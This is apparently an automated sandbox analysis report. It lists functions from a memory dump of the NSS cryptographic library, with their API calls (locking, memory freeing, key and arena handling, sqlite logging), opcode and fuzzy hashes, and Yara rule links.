Opcode ID: d67c698f716b4db8424df64630ed124a1dfcf80d445b598a0d8f5438e6fa42d4
Instruction ID: 28ae801684712b3c472dbb2d2ecf8faa30cff9fcd40262b6f8af6632637144e4
Opcode Fuzzy Hash: d67c698f716b4db8424df64630ed124a1dfcf80d445b598a0d8f5438e6fa42d4
Instruction Fuzzy Hash: 6D113B71E002045BF7209B65AC41BBF73B8DF5125DF24462CEC1996741FB21E959C2F2

Function 6CE928A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE880DD), ref: 6CE928BA
EnterCriticalSection.KERNEL32(?,?,?,?,6CE880DD), ref: 6CE928D3
PR_Unlock.NSS3(?,?,?,?,?,6CE880DD), ref: 6CE928E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6CE880DD), ref: 6CE9290E
free.MOZGLUE(?,?,?,?,?,?,6CE880DD), ref: 6CE9291A

Part of subcall function 6CE89270: DeleteCriticalSection.KERNEL32(?,?,6CE95089,?,6CE93B70,?,?,?,?,?,6CE95089,6CE8F39B,00000000), ref: 6CE8927F
Part of subcall function 6CE89270: free.MOZGLUE(?,?,6CE93B70,?,?,?,?,?,6CE95089,6CE8F39B,00000000), ref: 6CE89286
Part of subcall function 6CE89270: PL_HashTableDestroy.NSS3(?,6CE93B70,?,?,?,?,?,6CE95089,6CE8F39B,00000000), ref: 6CE89292

Part of subcall function 6CE88B50: TlsGetValue.KERNEL32(00000000,?,6CE90948,00000000), ref: 6CE88B6B
Part of subcall function 6CE88B50: EnterCriticalSection.KERNEL32(?,?,?,6CE90948,00000000), ref: 6CE88B80
Part of subcall function 6CE88B50: PL_FinishArenaPool.NSS3(?,?,?,?,6CE90948,00000000), ref: 6CE88B8F
Part of subcall function 6CE88B50: PR_Unlock.NSS3(?,?,?,?,6CE90948,00000000), ref: 6CE88BA1
Part of subcall function 6CE88B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6CE90948,00000000), ref: 6CE88BAC
Part of subcall function 6CE88B50: free.MOZGLUE(?,?,?,?,?,6CE90948,00000000), ref: 6CE88BB8

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 5be78e259689cb7d6e0c23d6c0b894aa415adc2a1ede374423d655214a8866bb
Instruction ID: a066138838f4120a94b73a7b54351a0ff0985676bbe14d2fee1c0a355fb9d262
Opcode Fuzzy Hash: 5be78e259689cb7d6e0c23d6c0b894aa415adc2a1ede374423d655214a8866bb
Instruction Fuzzy Hash: DD2138B5A04B059FCB00BF78C088569BBF0FF05368F114969DC9997B00EB34E899CB92

Function 6CE88FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CE90710), ref: 6CE88FF1
PR_CallOnce.NSS3(6CFD2158,6CE89150,00000000,?,?,?,6CE89138,?,6CE90710), ref: 6CE89029
calloc.MOZGLUE(00000001,00000000,?,?,6CE90710), ref: 6CE8904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CE90710), ref: 6CE89066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CE90710), ref: 6CE89078

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: ebc6f2531ce91d374fad9415b99a591f66f30996304c076e6a2873062f3d2423
Instruction ID: 8b143f66074fb0ef50f290551e96adb4c87f2fbdd2b1a16933b03aee6286f6a4
Opcode Fuzzy Hash: ebc6f2531ce91d374fad9415b99a591f66f30996304c076e6a2873062f3d2423
Instruction Fuzzy Hash: 2E110421F1211167EB201AA9AC04A6A32BCEB827ADF650131FC5CD6B80F797CD4583E1

Function 6CE9CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CEB1E10: TlsGetValue.KERNEL32 ref: 6CEB1E36
Part of subcall function 6CEB1E10: EnterCriticalSection.KERNEL32(?,?,?,6CE8B1EE,2404110F,?,?), ref: 6CEB1E4B
Part of subcall function 6CEB1E10: PR_Unlock.NSS3 ref: 6CEB1E76

free.MOZGLUE(?,6CE9D079,00000000,00000001), ref: 6CE9CDA5
PK11_FreeSymKey.NSS3(?,6CE9D079,00000000,00000001), ref: 6CE9CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CE9D079,00000000,00000001), ref: 6CE9CDCF
DeleteCriticalSection.KERNEL32(?,6CE9D079,00000000,00000001), ref: 6CE9CDE2
free.MOZGLUE(?), ref: 6CE9CDE9

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 71ca3877b22aec255cbccb6d6dc1747831165b97ed1133b16ee025117bb920f9
Instruction ID: bb31fd323aefbd3b17a0e8b87336f268a1c00a05b6ec4839b2b26a4986810fc7
Opcode Fuzzy Hash: 71ca3877b22aec255cbccb6d6dc1747831165b97ed1133b16ee025117bb920f9
Instruction Fuzzy Hash: 5E11A0B2B01211ABDE00BEA5EC45AA7B77CBB042AC7200121E909D7E11E732E524C7E1

Function 6CF02CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CF05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF05B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF02CEC

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_EnterMonitor.NSS3(?), ref: 6CF02D02
PR_EnterMonitor.NSS3(?), ref: 6CF02D1F
PR_ExitMonitor.NSS3(?), ref: 6CF02D42
PR_ExitMonitor.NSS3(?), ref: 6CF02D5B

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 23f86f912ff768e9bfb7f380c60328073ccb2a47c651c982eeb5b5beddab3adf
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: AA01A1B1B01200ABE7309E25FC44B87B7A5EB45718F004525E85D86B20EA33F919D6A2

Function 6CF02D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CF05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF05B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF02D9C

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_EnterMonitor.NSS3(?), ref: 6CF02DB2
PR_EnterMonitor.NSS3(?), ref: 6CF02DCF
PR_ExitMonitor.NSS3(?), ref: 6CF02DF2
PR_ExitMonitor.NSS3(?), ref: 6CF02E0B

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 0cccaf9e0bbb8ddb9d9d64ae69b9f440099dd836ed18179c147fa25a76076f01
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 4001C4B1B41200ABEB309E25FC05BC7B7A5EF41718F004435E85D86B20DA33F925D6A2

Function 6CE9AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CE83090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE9AE42), ref: 6CE830AA
Part of subcall function 6CE83090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE830C7
Part of subcall function 6CE83090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE830E5
Part of subcall function 6CE83090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE83116
Part of subcall function 6CE83090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE8312B
Part of subcall function 6CE83090: PK11_DestroyObject.NSS3(?,?), ref: 6CE83154
Part of subcall function 6CE83090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE8317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CE799FF,?,?,?,?,?,?,?,?,?,6CE72D6B,?), ref: 6CE9AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CE799FF,?,?,?,?,?,?,?,?,?,6CE72D6B,?), ref: 6CE9AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE72D6B,?,?,00000000), ref: 6CE9AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CE72D6B,?,?,00000000), ref: 6CE9AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CE72D6B,?,?), ref: 6CE9AEA3

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 6ebf71103ea87d45a184bb8ced1777f5e67feaae1c0501593c40731887ca8111
Instruction ID: 199d6cddcc14ddaa69f966e57d2dba463cd8ff356cfddcf46be3350b10650b1d
Opcode Fuzzy Hash: 6ebf71103ea87d45a184bb8ced1777f5e67feaae1c0501593c40731887ca8111
Instruction Fuzzy Hash: E9012872F8001067E701962CAC81BEF31B88F8765CF380035E809C7B41F625C98643E3

Function 6CF8BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CF87AFE,?,?,?,?,?,?,?,?,6CF8798A), ref: 6CF8BDC3
free.MOZGLUE(?,?,6CF87AFE,?,?,?,?,?,?,?,?,6CF8798A), ref: 6CF8BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF87AFE,?,?,?,?,?,?,?,?,6CF8798A), ref: 6CF8BDE9
free.MOZGLUE(?,00000000,00000000,?,6CF87AFE,?,?,?,?,?,?,?,?,6CF8798A), ref: 6CF8BE21
free.MOZGLUE(00000000,00000000,?,6CF87AFE,?,?,?,?,?,?,?,?,6CF8798A), ref: 6CF8BE32

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: e349edc60b74b10a3562a0ba094c452af8531a3c2c1a9f72ea6df9a3408333c0
Instruction ID: c425c4180368705de84fefda785afd0a062fa45dec6866d3c01a97fc9131b792
Opcode Fuzzy Hash: e349edc60b74b10a3562a0ba094c452af8531a3c2c1a9f72ea6df9a3408333c0
Instruction Fuzzy Hash: 9111C2B6F222009FDF90DF79D84DB463BB5AB4A254B580469E50AC7710E733B918CBE1

Function 6CF87C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CF87C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF87C83
malloc.MOZGLUE(00000001), ref: 6CF87C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF87C9F
PR_GetCurrentThread.NSS3 ref: 6CF87CAD

Part of subcall function 6CF39BF0: TlsGetValue.KERNEL32(?,?,?,6CF80A75), ref: 6CF39C07

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 611349e0025ca89990f1c7d2beb4f8c8b7caf5353c671498be296df45f401e83
Instruction ID: d5fc346d419f38f5af88d4c6a268b59de9b6b82c0c7a8b71db3240331ef55518
Opcode Fuzzy Hash: 611349e0025ca89990f1c7d2beb4f8c8b7caf5353c671498be296df45f401e83
Instruction Fuzzy Hash: 3AF0F6F1A112167FEB009F3AAC09A4B776CEF01265B018436EC1DC3B00EB30E214CAE5

Function 6CF8ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CF8A6D8), ref: 6CF8AE0D
free.MOZGLUE(?), ref: 6CF8AE14
DeleteCriticalSection.KERNEL32(6CF8A6D8), ref: 6CF8AE36
free.MOZGLUE(?), ref: 6CF8AE3D
free.MOZGLUE(00000000,00000000,?,?,6CF8A6D8), ref: 6CF8AE47

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 531c1b310c32e96c1975d2922aabf53649ce098ed40c60785ab4084ad2bfadb3
Instruction ID: 7a384ea2269054344456a2a989979165f8935a21f17568ee72a5a67d5bf27af9
Opcode Fuzzy Hash: 531c1b310c32e96c1975d2922aabf53649ce098ed40c60785ab4084ad2bfadb3
Instruction Fuzzy Hash: 06F09675702A01A7CA109FA9D80CA5777B8FF867757140328F52A83980D732E216C7D5

Function 6CE088D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,01DC7D83), ref: 6CE08990

Strings

@zl, xrefs: 6CE08A31

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: memset
String ID: @zl
API String ID: 2221118986-1485391460
Opcode ID: 2c3b9f571bdca688e2324dbdaa98a7285e03a280a025acb89862f83cacddf71f
Instruction ID: 74e85b789530bc1bd8c6ea1e5879b6e511d04d8304a9829356f5aed7e11ce885
Opcode Fuzzy Hash: 2c3b9f571bdca688e2324dbdaa98a7285e03a280a025acb89862f83cacddf71f
Instruction Fuzzy Hash: C951F671A05B819FC704CF28C1946A6BBF0BF59308B24929DC8884BB13D331F5A6CBE1

Function 6CE17C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE17D35

Strings

database corruption, xrefs: 6CE17D29
%s at line %d of [%.10s], xrefs: 6CE17D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE17D13, 6CE17D1F, 6CE17D47, 6CE17D53, 6CE17D5F

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 30586e6892830ac5b053f093db64a69c63d0816a15f01f3a1b52406e9aae158d
Instruction ID: fa1dae2a8698b8a0082bc2050c7bd94fbd542d8d1819338a164038d273db24b2
Opcode Fuzzy Hash: 30586e6892830ac5b053f093db64a69c63d0816a15f01f3a1b52406e9aae158d
Instruction Fuzzy Hash: 8C310671E1822997C710CF9EC8809BEB7F1AF49709B690196F444B7B81D371E862C7A4

Function 6CE06C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CE06D36

Strings

database corruption, xrefs: 6CE06D2A
%s at line %d of [%.10s], xrefs: 6CE06D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE06D20

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 071bb946719298ec1be69d2b2dbf08942c8f41f127604957bca1f61ccba3c6d1
Instruction ID: f88d4060497a405a64746887811e3605771767ef9392220bedae73da2706a8e0
Opcode Fuzzy Hash: 071bb946719298ec1be69d2b2dbf08942c8f41f127604957bca1f61ccba3c6d1
Instruction Fuzzy Hash: 3021FE707003059BC7109F1AC841B5AB7FAAF81308F24892CDC499BB50E371E99AC7E2

Function 6CEE2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+l,6CEE32C2,<+l,00000000,00000000,?), ref: 6CEE2FDA

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CEE300B

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CEE302A

Part of subcall function 6CED0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED08B4

Part of subcall function 6CEBC3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6CEBC45D
Part of subcall function 6CEBC3D0: TlsGetValue.KERNEL32 ref: 6CEBC494
Part of subcall function 6CEBC3D0: EnterCriticalSection.KERNEL32(?), ref: 6CEBC4A9
Part of subcall function 6CEBC3D0: PR_Unlock.NSS3(?), ref: 6CEBC4F4

Strings

<+l, xrefs: 6CEE2FD0

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

